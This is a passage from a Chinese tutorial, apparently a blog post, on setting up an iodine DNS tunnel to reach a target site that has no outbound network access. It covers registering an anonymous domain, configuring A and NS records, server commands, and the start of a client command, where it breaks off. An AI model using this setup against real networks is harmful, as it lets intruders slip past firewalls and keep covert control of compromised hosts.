一.DNS隧道准备
和我哥们在看一个站点的时候,发现是不出网的,但是站点可以做DNS查询,所以想着搭建一个DNS隧道。
此篇文章为了读者看起来更加清楚,我的公网服务器与域名都是未打码的,希望各位大佬手下留情。
1.DNS隧道介绍
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.xxx.ga),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。
搭建DNS隧道的工具目前有iodine,dnscat,dns2tcp等 。
我目前使用的是iodine工具去搭建。
2.前期准备
1个域名,1个公网服务器
需要申请一个域名(最好匿名的,推荐申请网站http://www.freenom.com/zh/index.html),免费且匿名的。
申请的时候直接带上后缀申请,不然会显示域名不可用(例如:jingbao123.ga)。
申请好之后推荐将freenom的域名服务器更改为腾讯dnspod的,更方面管理域名并且可以配置NS解析,freenom我没找到NS记录。
dnspod:https://www.dnspod.cn,在dnspod中添加刚申请的域名,然后dnspod会给出两条dns服务器地址,
将freenom中dns服务器更改为dnspod提供的地址,就可以将域名的解析权给引到dnspod。
dnspod得到域名的管理权之后,在里面添加两条解析记录。
第一条A类记录,告诉域名系统,“www.woshishui120.ga"的IP地址是"121.xxx.xxx.xxx”
第二条NS记录,告诉域名系统,"ns.woshishui120.ga"的域名由"www.woshishui120.ga"进行解析。
到此前期准备工作就已经完成了,已经将域名绑定到了我们的公网服务器上。
二.iodine DNS隧道搭建
在我们的公网服务器安装iodine,该工具服务端为iodined,客户端为iodine。
执行apt install iodine命令会同时安装服务端与客户端。
1.服务端
在公网服务器上部署iodine服务端。(需要root权限运行)
iodined -f -c -P 123.com 192.168.200.1 ns.woshishui120.ga -DD
-
\-f:在前台运行
-
\-c:禁止检查所有传入请求的客户端IP地址。
-
\-P:客户端和服务端之间用于验证身份的密码。
-
\-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
这里的192.168.200.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
注意!填写的地址为NS记录
执行完该命令之后会新生成一个dns0虚拟网卡,ip地址就是刚才命令中输入的ip地址(192.168.200.1)。
**ubuntu默认53端口是打开的,通过下面命令关闭掉53端口**
rm /etc/resolv.conf&&echo "nameserver x.x.x.x" >> /etc/resolv.conf 配置dns服务器(x.x.x.x改为dns服务器,8.8.8.8等)
systemctl stop systemd-resolved 停止该进程
systemctl disable systemd-resolved 关闭开机自启动
2. 客户端
客户端我使用的kali,kali自带iodine工具。
iodine -f -P 123.com ns.woshish